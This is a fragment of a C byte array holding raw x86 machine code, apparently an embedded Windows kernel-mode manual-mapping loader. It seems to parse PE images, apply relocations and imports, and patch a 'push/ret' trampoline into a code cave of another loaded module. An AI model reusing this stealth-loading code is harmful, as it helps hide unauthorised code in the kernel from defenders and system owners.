0x8b,0x45,0xe8,0x66,0x89,0x50,0x0a,0x0f,0xb7,0x75,0xd0,0x6a,0x14,0x8b,0x4d,0xe8,
0x51,0xe8,0x6a,0xfe,0xff,0xff,0x0f,0xb7,0xd0,0x3b,0xf2,0x74,0x05,0xe9,0x31,0x01,
0x00,0x00,0x8b,0x45,0xe8,0x8b,0x48,0x10,0x51,0xe8,0x82,0xfe,0xff,0xff,0x50,0x8d,
0x55,0xd8,0x52,0xe8,0x34,0x08,0x00,0x00,0x83,0xc4,0x08,0x8b,0x45,0xe8,0x8b,0x48,
0x0c,0x51,0xe8,0x69,0xfe,0xff,0xff,0x50,0x8d,0x55,0xf0,0x52,0xe8,0x1b,0x08,0x00,
0x00,0x83,0xc4,0x08,0x8b,0x45,0xe8,0x0f,0xb7,0x48,0x02,0x81,0xe1,0xff,0x00,0x00,
0x00,0xc1,0xe1,0x08,0x8b,0x55,0xe8,0x0f,0xb7,0x42,0x02,0x25,0x00,0xff,0x00,0x00,
0xc1,0xf8,0x08,0x03,0xc8,0x51,0x8b,0x4d,0xe8,0x0f,0xb6,0x51,0x09,0x52,0x8d,0x45,
0xd8,0x50,0x8d,0x4d,0xf0,0x51,0x68,0xe8,0x08,0x00,0x10,0xe8,0x22,0x07,0x00,0x00,
0x83,0xc4,0x14,0xc7,0x45,0xd4,0x34,0x09,0x00,0x10,0xc7,0x45,0xcc,0x00,0x00,0x00,
0x00,0xeb,0x09,0x8b,0x55,0xcc,0x83,0xc2,0x01,0x89,0x55,0xcc,0x8b,0x45,0xd4,0x50,
0xe8,0xb1,0x07,0x00,0x00,0x83,0xc4,0x04,0x8b,0x4d,0x10,0x2b,0xc8,0x39,0x4d,0xcc,
0x0f,0x83,0x8d,0x00,0x00,0x00,0x8b,0x55,0xd4,0x52,0xe8,0x97,0x07,0x00,0x00,0x83,
0xc4,0x04,0x50,0x8b,0x45,0xd4,0x50,0x8b,0x4d,0x0c,0x03,0x4d,0xcc,0x51,0xff,0x15,
0xe8,0x02,0x00,0x10,0x8b,0xf0,0x8b,0x55,0xd4,0x52,0xe8,0x77,0x07,0x00,0x00,0x83,
0xc4,0x04,0x3b,0xf0,0x75,0x58,0x68,0x48,0x09,0x00,0x10,0xe8,0xb2,0x06,0x00,0x00,
0x83,0xc4,0x04,0xc7,0x45,0xc4,0x00,0x00,0x00,0x00,0x6a,0x00,0x68,0x40,0x23,0x00,
0x10,0x6a,0x00,0x6a,0x00,0x6a,0x00,0x68,0xff,0xff,0x1f,0x00,0x8d,0x45,0xc4,0x50,
0xff,0x15,0xf4,0x02,0x00,0x10,0x89,0x45,0xc8,0x83,0x7d,0xc8,0x00,0x7c,0x0c,0x8b,
0x4d,0xc4,0x51,0xff,0x15,0xb4,0x02,0x00,0x10,0xeb,0x11,0x8b,0x55,0xc8,0x52,0x68,
0x94,0x09,0x00,0x10,0xe8,0x69,0x06,0x00,0x00,0x83,0xc4,0x08,0xeb,0x05,0xe9,0x50,
0xff,0xff,0xff,0x5e,0x8b,0xe5,0x5d,0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x08,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0x33,0xc0,0x89,
0x45,0xfc,0xc7,0x45,0xf8,0x80,0x3c,0x36,0xfe,0xc7,0x45,0xfc,0xff,0xff,0xff,0xff,
0x8b,0x4d,0x08,0x51,0x68,0xbc,0x09,0x00,0x10,0xe8,0x24,0x06,0x00,0x00,0x83,0xc4,
0x08,0x68,0x70,0x23,0x00,0x10,0xe8,0x35,0xf7,0xff,0xff,0xe8,0xf0,0xf5,0xff,0xff,
0x8d,0x55,0xf8,0x52,0x6a,0x00,0x6a,0x00,0xff,0x15,0xbc,0x02,0x00,0x10,0x83,0x7d,
0x08,0x00,0x74,0x0c,0x6a,0x00,0x8b,0x45,0x08,0x50,0xff,0x15,0x90,0x02,0x00,0x10,
0x8b,0xe5,0x5d,0xc2,0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0x3d,0x1c,0x2e,0x00,0x10,0x00,0x75,0x05,0x8b,0x45,0x08,0xeb,
0x0c,0x8b,0x45,0x08,0x2b,0x05,0x1c,0x2e,0x00,0x10,0x03,0x45,0x0c,0x5d,0xc2,0x08,
0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x14,0x8b,0x45,0x0c,0x50,0x8b,0x4d,0x08,0x51,0xe8,0x2d,
0x12,0x00,0x00,0x0f,0xb6,0xd0,0x85,0xd2,0x75,0x0a,0xb8,0x01,0x00,0x00,0xc0,0xe9,
0x54,0x01,0x00,0x00,0xa1,0x1c,0x2e,0x00,0x10,0x50,0x68,0xc0,0x0b,0x00,0x10,0xe8,
0x7e,0x05,0x00,0x00,0x83,0xc4,0x08,0x6a,0x00,0xe8,0x92,0xf6,0xff,0xff,0x83,0x3d,
0x1c,0x2e,0x00,0x10,0x00,0x75,0x0a,0xb8,0x01,0x00,0x00,0xc0,0xe9,0x27,0x01,0x00,
0x00,0x8b,0x0d,0x1c,0x2e,0x00,0x10,0x8b,0x15,0x1c,0x2e,0x00,0x10,0x03,0x51,0x3c,
0x89,0x55,0xf8,0x8b,0x45,0xf8,0x0f,0xb7,0x48,0x14,0x8b,0x55,0xf8,0x8d,0x44,0x0a,
0x18,0x89,0x45,0xf4,0xc7,0x45,0xf0,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x4d,0xf0,
0x83,0xc1,0x01,0x89,0x4d,0xf0,0x8b,0x55,0xf8,0x0f,0xb7,0x42,0x06,0x39,0x45,0xf0,
0x0f,0x83,0x89,0x00,0x00,0x00,0x83,0x3d,0x00,0x2e,0x00,0x10,0x00,0x75,0x0c,0x8b,
0x4d,0xf4,0x8b,0x51,0x0c,0x89,0x15,0x00,0x2e,0x00,0x10,0x8b,0x45,0xf4,0x8b,0x48,
0x24,0x81,0xe1,0x00,0x00,0x00,0x02,0x74,0x13,0x8b,0x55,0xf4,0x8b,0x42,0x24,0x25,
0xff,0xff,0xff,0xfd,0x8b,0x4d,0xf4,0x89,0x41,0x24,0xeb,0x45,0x8b,0x55,0xf8,0x8b,
0x42,0x38,0x83,0xe8,0x01,0x8b,0x4d,0xf4,0x23,0x41,0x08,0x74,0x1c,0x8b,0x55,0xf8,
0x8b,0x42,0x38,0x83,0xe8,0x01,0xf7,0xd0,0x8b,0x4d,0xf4,0x23,0x41,0x08,0x8b,0x55,
0xf8,0x03,0x42,0x38,0x89,0x45,0xec,0xeb,0x09,0x8b,0x45,0xf4,0x8b,0x48,0x08,0x89,
0x4d,0xec,0x8b,0x15,0x04,0x2e,0x00,0x10,0x03,0x55,0xec,0x89,0x15,0x04,0x2e,0x00,
0x10,0x8b,0x45,0xf4,0x83,0xc0,0x28,0x89,0x45,0xf4,0xe9,0x5e,0xff,0xff,0xff,0x8b,
0x0d,0x00,0x2e,0x00,0x10,0x51,0x8b,0x15,0x04,0x2e,0x00,0x10,0x52,0x68,0xe4,0x0b,
0x00,0x10,0xe8,0x7b,0x04,0x00,0x00,0x83,0xc4,0x0c,0x8b,0x45,0xf8,0x8b,0x0d,0x1c,
0x2e,0x00,0x10,0x89,0x48,0x34,0x8b,0x55,0xf8,0x8b,0x42,0x50,0xa3,0xfc,0x2d,0x00,
0x10,0x68,0x00,0x54,0x00,0x10,0xff,0x15,0x08,0x03,0x00,0x10,0x89,0x45,0xfc,0x83,
0x7d,0xfc,0x00,0x7d,0x11,0x8b,0x4d,0xfc,0x51,0x68,0x0c,0x0c,0x00,0x10,0xe8,0x3f,
0x04,0x00,0x00,0x83,0xc4,0x08,0x33,0xc0,0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,
0x55,0x8b,0xec,0x81,0xec,0x20,0x01,0x00,0x00,0x8b,0x45,0x08,0x8b,0x4d,0x08,0x03,
0x48,0x3c,0x89,0x4d,0xf8,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0x8b,0x55,0xf8,0x0f,
0xb7,0x42,0x04,0x3d,0x4c,0x01,0x00,0x00,0x75,0x1d,0x8b,0x4d,0xf8,0x83,0xb9,0x80,
0x00,0x00,0x00,0x00,0x74,0x0f,0x8b,0x55,0xf8,0x8b,0x45,0x08,0x03,0x82,0x80,0x00,
0x00,0x00,0x89,0x45,0xfc,0xeb,0x3f,0x8b,0x4d,0xf8,0x0f,0xb7,0x51,0x04,0x81,0xfa,
0x64,0x86,0x00,0x00,0x75,0x29,0x8b,0x45,0x08,0x8b,0x4d,0x08,0x03,0x48,0x3c,0x89,
0x4d,0xf4,0x8b,0x55,0xf4,0x83,0xba,0x90,0x00,0x00,0x00,0x00,0x74,0x0f,0x8b,0x45,
0xf4,0x8b,0x4d,0x08,0x03,0x88,0x90,0x00,0x00,0x00,0x89,0x4d,0xfc,0xeb,0x07,0x32,
0xc0,0xe9,0xd7,0x00,0x00,0x00,0x83,0x7d,0xfc,0x00,0x0f,0x84,0xcb,0x00,0x00,0x00,
0x8b,0x55,0xfc,0x83,0x7a,0x0c,0x00,0x0f,0x84,0xbe,0x00,0x00,0x00,0x8b,0x45,0xfc,
0x8b,0x4d,0x08,0x03,0x48,0x0c,0x51,0x8d,0x95,0xf0,0xfe,0xff,0xff,0x52,0xe8,0xdd,
0x0a,0x00,0x00,0x8b,0x45,0x0c,0x50,0x8d,0x8d,0xf0,0xfe,0xff,0xff,0x51,0xe8,0x1d,
0x0b,0x00,0x00,0x50,0xe8,0x57,0x0a,0x00,0x00,0x85,0xc0,0x74,0x04,0xeb,0x7e,0xeb,
0x7c,0x8b,0x55,0xfc,0x8b,0x45,0x08,0x03,0x42,0x10,0x89,0x85,0xec,0xfe,0xff,0xff,
0x8b,0x8d,0xec,0xfe,0xff,0xff,0x83,0x39,0x00,0x74,0x62,0x8b,0x95,0xec,0xfe,0xff,
0xff,0x8b,0x45,0x08,0x03,0x02,0x89,0x85,0xe0,0xfe,0xff,0xff,0x8b,0x8d,0xe0,0xfe,
0xff,0xff,0x83,0xc1,0x02,0x89,0x8d,0xe4,0xfe,0xff,0xff,0x8b,0x95,0xe4,0xfe,0xff,
0xff,0x52,0x8b,0x45,0x10,0x50,0xe8,0x35,0x0c,0x00,0x00,0x89,0x85,0xe8,0xfe,0xff,
0xff,0x83,0xbd,0xe8,0xfe,0xff,0xff,0x00,0x75,0x04,0x32,0xc0,0xeb,0x2f,0x8b,0x8d,
0xec,0xfe,0xff,0xff,0x8b,0x95,0xe8,0xfe,0xff,0xff,0x89,0x11,0x8b,0x85,0xec,0xfe,
0xff,0xff,0x83,0xc0,0x04,0x89,0x85,0xec,0xfe,0xff,0xff,0xeb,0x93,0x8b,0x4d,0xfc,
0x83,0xc1,0x14,0x89,0x4d,0xfc,0xe9,0x35,0xff,0xff,0xff,0xb0,0x01,0x8b,0xe5,0x5d,
0xc2,0x0c,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x30,0x8b,0x45,0x08,0x8b,0x4d,0x08,0x03,0x48,0x3c,0x89,
0x4d,0xf8,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,
0xc7,0x45,0xe8,0x00,0x00,0x00,0x00,0xc7,0x45,0xec,0x00,0x00,0x00,0x00,0x8b,0x55,
0xf8,0x0f,0xb7,0x42,0x04,0x3d,0x4c,0x01,0x00,0x00,0x75,0x37,0x8b,0x4d,0xf8,0x83,
0xb9,0xa0,0x00,0x00,0x00,0x00,0x74,0x1b,0x8b,0x55,0xf8,0x8b,0x45,0x08,0x03,0x82,
0xa0,0x00,0x00,0x00,0x89,0x45,0xf4,0x8b,0x4d,0xf8,0x8b,0x91,0xa4,0x00,0x00,0x00,
0x89,0x55,0xfc,0x8b,0x45,0xf8,0x8b,0x48,0x34,0x33,0xd2,0x89,0x4d,0xe8,0x89,0x55,
0xec,0xeb,0x5a,0x8b,0x45,0xf8,0x0f,0xb7,0x48,0x04,0x81,0xf9,0x64,0x86,0x00,0x00,
0x75,0x44,0x8b,0x55,0x08,0x8b,0x45,0x08,0x03,0x42,0x3c,0x89,0x45,0xe4,0x8b,0x4d,
0xe4,0x83,0xb9,0xb0,0x00,0x00,0x00,0x00,0x74,0x1b,0x8b,0x55,0xe4,0x8b,0x45,0x08,
0x03,0x82,0xb0,0x00,0x00,0x00,0x89,0x45,0xf4,0x8b,0x4d,0xe4,0x8b,0x91,0xb4,0x00,
0x00,0x00,0x89,0x55,0xfc,0x8b,0x45,0xe4,0x8b,0x48,0x30,0x89,0x4d,0xe8,0x8b,0x50,
0x34,0x89,0x55,0xec,0xeb,0x07,0x32,0xc0,0xe9,0xff,0x00,0x00,0x00,0x83,0x7d,0xf4,
0x00,0x0f,0x84,0xf3,0x00,0x00,0x00,0xc7,0x45,0xe0,0x00,0x00,0x00,0x00,0x8b,0x45,
0xfc,0x3b,0x45,0xe0,0x0f,0x86,0xe0,0x00,0x00,0x00,0x8b,0x4d,0xf4,0x83,0x79,0x04,
0x00,0x0f,0x84,0xd3,0x00,0x00,0x00,0x8b,0x55,0xf4,0x8b,0x42,0x04,0x83,0xe8,0x08,
0xd1,0xe8,0x89,0x45,0xd8,0x8b,0x4d,0xf4,0x83,0xc1,0x08,0x89,0x4d,0xdc,0xc7,0x45,
0xd4,0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x55,0xd4,0x83,0xc2,0x01,0x89,0x55,0xd4,
0x8b,0x45,0xd4,0x3b,0x45,0xd8,0x0f,0x83,0x81,0x00,0x00,0x00,0x8b,0x4d,0xd4,0x8b,
0x55,0xdc,0x0f,0xb7,0x04,0x4a,0x85,0xc0,0x7e,0x6e,0x8b,0x4d,0xd4,0x8b,0x55,0xdc,
0x0f,0xb7,0x04,0x4a,0x25,0x00,0xf0,0x00,0x00,0xc1,0xf8,0x0c,0x66,0x89,0x45,0xd0,
0x0f,0xb7,0x4d,0xd0,0x83,0xf9,0x03,0x74,0x0d,0x0f,0xb7,0x55,0xd0,0x83,0xfa,0x0a,
0x74,0x04,0x32,0xc0,0xeb,0x66,0x8b,0x45,0xd4,0x8b,0x4d,0xdc,0x0f,0xb7,0x14,0x41,
0x81,0xe2,0xff,0x0f,0x00,0x00,0x8b,0x45,0xf4,0x8b,0x08,0x03,0xca,0x8b,0x45,0x0c,
0x99,0x2b,0x45,0xe8,0x1b,0x55,0xec,0x8b,0x55,0x08,0x03,0x04,0x0a,0x8b,0x4d,0xd4,
0x8b,0x55,0xdc,0x0f,0xb7,0x0c,0x4a,0x81,0xe1,0xff,0x0f,0x00,0x00,0x8b,0x55,0xf4,
0x03,0x0a,0x8b,0x55,0x08,0x89,0x04,0x0a,0xe9,0x6a,0xff,0xff,0xff,0x8b,0x45,0xf4,
0x8b,0x4d,0xf4,0x03,0x48,0x04,0x89,0x4d,0xf4,0x8b,0x55,0xf4,0x8b,0x45,0xe0,0x03,
0x42,0x04,0x89,0x45,0xe0,0xe9,0x14,0xff,0xff,0xff,0xb0,0x01,0x8b,0xe5,0x5d,0xc2,
0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x10,0xc7,0x45,0xfc,0x00,0x00,0x00,0x00,0xc7,0x45,0xf8,
0x00,0x01,0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xb8,0x01,0x00,0x00,0x00,
0x85,0xc0,0x0f,0x84,0x84,0x00,0x00,0x00,0x8b,0x4d,0xf8,0x51,0x6a,0x00,0xff,0x15,
0xe0,0x02,0x00,0x10,0x89,0x45,0xf4,0x83,0x7d,0xf4,0x00,0x75,0x14,0x68,0x3c,0x0c,
0x00,0x10,0xe8,0x9b,0x00,0x00,0x00,0x83,0xc4,0x04,0x33,0xc0,0xe9,0x8b,0x00,0x00,
0x00,0xc7,0x45,0xf0,0x00,0x00,0x00,0x00,0x8d,0x55,0xf0,0x52,0x8b,0x45,0xf8,0x50,
0x8b,0x4d,0xf4,0x51,0x8b,0x55,0x08,0x52,0xff,0x15,0x0c,0x03,0x00,0x10,0x89,0x45,
0xfc,0x81,0x7d,0xfc,0x04,0x00,0x00,0xc0,0x75,0x2b,0x6a,0x00,0x8b,0x45,0xf4,0x50,
0xff,0x15,0x90,0x02,0x00,0x10,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0x83,0x7d,0xf0,
0x00,0x76,0x0e,0x8b,0x4d,0xf0,0x81,0xc1,0x00,0x01,0x00,0x00,0x89,0x4d,0xf8,0xeb,
0x02,0xeb,0x09,0xeb,0x02,0xeb,0x05,0xe9,0x6f,0xff,0xff,0xff,0x83,0x7d,0xfc,0x00,
0x7d,0x27,0x8b,0x55,0xfc,0x52,0x68,0x54,0x0c,0x00,0x10,0xe8,0x22,0x00,0x00,0x00,
0x83,0xc4,0x08,0x83,0x7d,0xf4,0x00,0x74,0x0c,0x6a,0x00,0x8b,0x45,0xf4,0x50,0xff,
0x15,0x90,0x02,0x00,0x10,0x33,0xc0,0xeb,0x03,0x8b,0x45,0xf4,0x8b,0xe5,0x5d,0xc2,
0x04,0x00,0xff,0x25,0x28,0x03,0x00,0x10,0xff,0x25,0x20,0x03,0x00,0x10,0xff,0x25,
0x1c,0x03,0x00,0x10,0xff,0x25,0xd4,0x02,0x00,0x10,0xff,0x25,0x90,0x02,0x00,0x10,
0xff,0x25,0x94,0x02,0x00,0x10,0xff,0x25,0x98,0x02,0x00,0x10,0xff,0x25,0x9c,0x02,
0x00,0x10,0xff,0x25,0xa0,0x02,0x00,0x10,0xff,0x25,0xa4,0x02,0x00,0x10,0xff,0x25,
0xa8,0x02,0x00,0x10,0xff,0x25,0xac,0x02,0x00,0x10,0xff,0x25,0xb0,0x02,0x00,0x10,
0xff,0x25,0xb4,0x02,0x00,0x10,0xff,0x25,0xb8,0x02,0x00,0x10,0xff,0x25,0xbc,0x02,
0x00,0x10,0xff,0x25,0xc0,0x02,0x00,0x10,0xff,0x25,0xc4,0x02,0x00,0x10,0xff,0x25,
0xc8,0x02,0x00,0x10,0xff,0x25,0xcc,0x02,0x00,0x10,0xff,0x25,0xd0,0x02,0x00,0x10,
0xff,0x25,0x24,0x03,0x00,0x10,0xff,0x25,0xd8,0x02,0x00,0x10,0xff,0x25,0xdc,0x02,
0x00,0x10,0xff,0x25,0xe0,0x02,0x00,0x10,0xff,0x25,0xe4,0x02,0x00,0x10,0xff,0x25,
0xe8,0x02,0x00,0x10,0xff,0x25,0xec,0x02,0x00,0x10,0xff,0x25,0xf0,0x02,0x00,0x10,
0xff,0x25,0xf4,0x02,0x00,0x10,0xff,0x25,0xf8,0x02,0x00,0x10,0xff,0x25,0xfc,0x02,
0x00,0x10,0xff,0x25,0x00,0x03,0x00,0x10,0xff,0x25,0x04,0x03,0x00,0x10,0xff,0x25,
0x08,0x03,0x00,0x10,0xff,0x25,0x0c,0x03,0x00,0x10,0xff,0x25,0x10,0x03,0x00,0x10,
0xff,0x25,0x14,0x03,0x00,0x10,0xff,0x25,0x18,0x03,0x00,0x10,0xff,0x25,0x84,0x02,
0x00,0x10,0xff,0x25,0x80,0x02,0x00,0x10,0xff,0x25,0x88,0x02,0x00,0x10,0xcc,0xcc,
0xff,0xff,0xff,0xff,0xdc,0x16,0x00,0x10,0xe2,0x16,0x00,0x10,0x00,0x00,0x00,0x00,
0xff,0xff,0xff,0xff,0x65,0x1a,0x00,0x10,0x6b,0x1a,0x00,0x10,0x00,0x00,0x00,0x00,
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x97,0x20,0x00,0x10,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xec,0x0a,0x00,0x10,0x00,0x0b,0x00,0x10,0x18,0x0b,0x00,0x10,
0x34,0x0b,0x00,0x10,0x50,0x0b,0x00,0x10,0x64,0x0b,0x00,0x10,0x78,0x0b,0x00,0x10,
0x40,0xbb,0x00,0x00,0xbf,0x44,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x55,0x8b,0xec,0x83,0xec,0x08,0x8b,0x45,0x08,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,
0x74,0x38,0x8b,0x4d,0xfc,0x03,0x0d,0x84,0x2d,0x00,0x10,0x89,0x4d,0xf8,0x6a,0x01,
0x8b,0x55,0x0c,0x52,0x8b,0x45,0xf8,0x50,0xff,0x15,0xa0,0x02,0x00,0x10,0x0f,0xb6,
0xc8,0x85,0xc9,0x74,0x05,0x8b,0x45,0xfc,0xeb,0x12,0x8b,0x55,0xfc,0x03,0x15,0x8c,
0x2d,0x00,0x10,0x8b,0x02,0x89,0x45,0xfc,0xeb,0xc2,0x33,0xc0,0x8b,0xe5,0x5d,0xc2,
0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0x7d,0x0c,0x00,0x74,0x0f,0x8b,0x45,0x0c,0x03,0x05,0x90,0x2d,
0x00,0x10,0x8b,0x00,0xeb,0x11,0xeb,0x0d,0x8b,0x4d,0x08,0x03,0x0d,0x88,0x2d,0x00,
0x10,0x8b,0x01,0xeb,0x02,0x33,0xc0,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x8b,0x45,0x08,0x03,0x05,0x94,0x2d,0x00,0x10,0x8b,0x00,0x5d,0xc2,
0x04,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x38,0xc7,0x45,0xe8,0x00,0x00,0x00,0x00,0x6a,0x0b,0xe8,
0xbc,0xfb,0xff,0xff,0x89,0x45,0xf0,0x83,0x7d,0xf0,0x00,0x74,0x79,0xc7,0x45,0xe4,
0x00,0x00,0x00,0x00,0xeb,0x09,0x8b,0x45,0xe4,0x83,0xc0,0x01,0x89,0x45,0xe4,0x8b,
0x4d,0xf0,0x8b,0x55,0xe4,0x3b,0x11,0x73,0x51,0x8b,0x45,0xe4,0x69,0xc0,0x1c,0x01,
0x00,0x00,0x8b,0x4d,0xf0,0x8b,0x55,0x08,0x3b,0x54,0x01,0x0c,0x76,0x3a,0x8b,0x45,
0xe4,0x69,0xc0,0x1c,0x01,0x00,0x00,0x8b,0x4d,0xe4,0x69,0xc9,0x1c,0x01,0x00,0x00,
0x8b,0x55,0xf0,0x8b,0x44,0x02,0x0c,0x8b,0x55,0xf0,0x03,0x44,0x0a,0x10,0x39,0x45,
0x08,0x73,0x15,0x8b,0x45,0xe4,0x69,0xc0,0x1c,0x01,0x00,0x00,0x8b,0x4d,0xf0,0x8b,
0x54,0x01,0x0c,0x89,0x55,0xe8,0xeb,0x02,0xeb,0x9c,0x6a,0x00,0x8b,0x45,0xf0,0x50,
0xff,0x15,0x90,0x02,0x00,0x10,0x83,0x7d,0xe8,0x00,0x75,0x08,0x8b,0x45,0x0c,0xe9,
0x5c,0x01,0x00,0x00,0x8b,0x4d,0xe8,0x8b,0x55,0xe8,0x03,0x51,0x3c,0x89,0x55,0xfc,
0x8b,0x45,0xfc,0x0f,0xb7,0x48,0x14,0x8b,0x55,0xfc,0x8d,0x44,0x0a,0x18,0x89,0x45,
0xec,0x6a,0x06,0x6a,0x00,0x8d,0x4d,0xf4,0x51,0xe8,0xf0,0xfb,0xff,0xff,0x83,0xc4,
0x0c,0xc7,0x45,0xe0,0x00,0x00,0x00,0x00,0xeb,0x12,0x8b,0x55,0xe0,0x83,0xc2,0x01,
0x89,0x55,0xe0,0x8b,0x45,0xec,0x83,0xc0,0x28,0x89,0x45,0xec,0x8b,0x4d,0xfc,0x0f,
0xb7,0x51,0x06,0x39,0x55,0xe0,0x0f,0x83,0x01,0x01,0x00,0x00,0x68,0xc8,0x07,0x00,
0x10,0x8b,0x45,0xec,0x50,0xe8,0x4a,0xfc,0xff,0xff,0x83,0xc4,0x08,0x85,0xc0,0x0f,
0x85,0xe3,0x00,0x00,0x00,0x8b,0x4d,0xec,0x8b,0x51,0x24,0x81,0xe2,0x00,0x00,0x00,
0x20,0x0f,0x84,0xd1,0x00,0x00,0x00,0x8b,0x45,0xec,0x8b,0x48,0x24,0x81,0xe1,0x00,
0x00,0x00,0x02,0x0f,0x85,0xbf,0x00,0x00,0x00,0x8b,0x55,0xfc,0x8b,0x42,0x38,0x83,
0xe8,0x01,0x8b,0x4d,0xec,0x23,0x41,0x08,0x74,0x1c,0x8b,0x55,0xfc,0x8b,0x42,0x38,
0x83,0xe8,0x01,0xf7,0xd0,0x8b,0x4d,0xec,0x23,0x41,0x08,0x8b,0x55,0xfc,0x03,0x42,
0x38,0x89,0x45,0xc8,0xeb,0x09,0x8b,0x45,0xec,0x8b,0x48,0x08,0x89,0x4d,0xc8,0x8b,
0x55,0xc8,0x89,0x55,0xdc,0x8b,0x45,0xec,0x8b,0x4d,0xdc,0x2b,0x48,0x08,0x89,0x4d,
0xd8,0x83,0x7d,0xd8,0x06,0x76,0x71,0x8b,0x55,0xec,0x8b,0x42,0x0c,0x8b,0x4d,0xec,
0x03,0x41,0x08,0x03,0x45,0xe8,0x89,0x45,0xd4,0x8b,0x55,0xd8,0x83,0xea,0x06,0x89,
0x55,0xd0,0xeb,0x09,0x8b,0x45,0xd0,0x83,0xe8,0x01,0x89,0x45,0xd0,0x83,0x7d,0xd0,
0x00,0x74,0x45,0x8b,0x4d,0xd4,0x03,0x4d,0xd0,0x89,0x4d,0xcc,0x6a,0x06,0x8d,0x55,
0xf4,0x52,0x8b,0x45,0xcc,0x50,0xff,0x15,0xe8,0x02,0x00,0x10,0x83,0xf8,0x06,0x75,
0x25,0xe8,0xea,0x1e,0x00,0x00,0x8b,0x4d,0xcc,0xc6,0x01,0x68,0x8b,0x55,0xcc,0x8b,
0x45,0x0c,0x89,0x42,0x01,0x8b,0x4d,0xcc,0xc6,0x41,0x05,0xc3,0xe8,0xef,0x1e,0x00,
0x00,0x8b,0x45,0xcc,0xeb,0x0a,0xeb,0xac,0xe9,0xdd,0xfe,0xff,0xff,0x8b,0x45,0x0c,
0x8b,0xe5,0x5d,0xc2,0x08,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x55,0x8b,0xec,0x83,0xec,0x28,0xc7,0x45,0xf8,0x00,0x00,0x00,0x00,0xe8,0xee,0xde,
0xff,0xff,0x89,0x45,0xfc,0x83,0x7d,0xfc,0x00,0x0f,0x84,0x26,0x01,0x00,0x00,0x68,
